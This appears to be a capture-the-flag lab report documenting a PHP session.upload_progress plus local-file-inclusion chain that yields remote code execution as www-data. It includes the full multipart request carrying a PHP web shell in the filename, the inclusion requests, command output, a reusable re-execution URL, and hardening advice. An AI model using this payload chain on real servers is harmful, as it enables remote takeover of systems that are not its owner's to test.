session.upload_progress + execution through LFI.
RCE confirmed as www-data (uid=33) on PHP 8.2.34 + nginx + PHP-FPM.
Successfully reproduced PHP2Shell Chain A (CVE-2026-109618 / CVE-2026-109619):
PHP code injection into session file via session.upload_progress (multipart upload filename
stored raw without validation) followed by execution through LFI in /vuln.php.
GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000&c=id
Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE_OK
Demonstrated arbitrary command execution in php-fpm process as www-data user (uid=33).
| Item | Value | Source |
|---|---|---|
| Web server | nginx/1.31.7 | Server header |
| PHP | 8.2.34 (vulnerable; fixed in 8.2.35) | X-Powered-By + /index.php |
| SAPI | fpm-fcgi | /index.php |
| Operating System | Debian GNU/Linux 13 (trixie) | RCE: head -3 /etc/os-release |
| Kernel | Linux 7.0.12-linuxkit aarch64 | RCE: uname -a |
| Container hostname | 89e1a0c2bd7d | LFI: page=/etc/hostname |
| Process user | www-data (uid=33, gid=33) | RCE: id / whoami |
ctfchainA00000000000000000000000 (32 characters)session.save_path=/tmp/sessions confirmed via LFI (sess_<SID> exists)Request (POST multipart to /index.php):
POST /index.php HTTP/1.1
Cookie: PHPSESSID=ctfchainA00000000000000000000000
Content-Type: multipart/form-data; boundary=----CTFCHAINBOUNDARY7d4a6e1c
------CTFCHAINBOUNDARY7d4a6e1c
Content-Disposition: form-data; name="PHPSESSID"
ctfchainA00000000000000000000000
------CTFCHAINBOUNDARY7d4a6e1c
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
x
------CTFCHAINBOUNDARY7d4a6e1c
Content-Disposition: form-data; name="f"; filename="<?php system($_GET['c']); echo 'RCE_OK'; ?>"
Content-Type: application/octet-stream
A
------CTFCHAINBOUNDARY7d4a6e1c--
Response: HTTP/1.1 200 OK — normal index.php body.
Handler wrote raw filename (with PHP code) to /tmp/sessions/sess_<SID>.
With session.upload_progress.cleanup=Off, file persisted after request.
Request:
GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000
Response (truncated):
upload_progress_x|a:5:{s:10:"start_time";i:1792614809;...s:4:"name";s:43:"<?php system($_GET['c']); echo 'RCE_OK'; ?>"...
Warning: Undefined array key "c" in /tmp/sessions/sess_ctfchainA00000000000000000000000 on line 1
Fatal error: Uncaught ValueError: system(): Argument #1 ($command) cannot be empty
#0 /tmp/sessions/sess_ctfchainA00000000000000000000000(1): system('')
#1 /var/www/html/vuln.php(3): include('/tmp/sessions/s...')
Stack trace proves complete chain: filename code executed inside LFI include.
Request:
GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000&c=id
Response:
...s:4:"name";s:43:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE_OK";s:8:"tmp_name";s:14:"/tmp/phpTKnYXy";...
| Command (c=) | Output Obtained |
|---|---|
id |
uid=33(www-data) gid=33(www-data) groups=33(www-data) + RCE_OK |
whoami |
www-data |
uname -a |
Linux 89e1a0c2bd7d 7.0.12-linuxkit #1 SMP PREEMPT Thu Aug 27 14:02:21 UTC 2026 aarch64 GNU/Linux |
head -3 /etc/os-release |
PRETTY_NAME="Debian GNU/Linux 13 (trixie)" |
session.upload_progress handler (enabled by default)
stores raw multipart upload filename (unsanitized) in session file sess_<SID>.
If application includes that file (LFI), PHP code executes.
session.upload_progress.enabled=Onsession.upload_progress.cleanup=Off (payload persistence)session.use_strict_mode=0 + session.use_only_cookies=0 (session fixation)/vuln.php (include($_GET['page']))display_errors=On (aided debugging, not required for exploitation)session.upload_progress.enabled=Off if application doesn't use upload progress trackingsession.upload_progress.cleanup=On (safe default behavior, prevents persistence)session.use_strict_mode=1 and session.use_only_cookies=1 (prevents session fixation)/vuln.php:
realpath() + mandatory prefixdisplay_errors in productionengagement_id: ctf-php2shell-chainA
Findings registered: 7 (all confirmed with reproducible evidence)
Scope respected: All requests exclusively targeted
http://host.docker.internal:18080.
ctfchainA00000000000000000000000 remains active in lab.
RCE can be re-executed with:
GET /vuln.php?page=/tmp/sessions/sess_ctfchainA00000000000000000000000&c=<comando>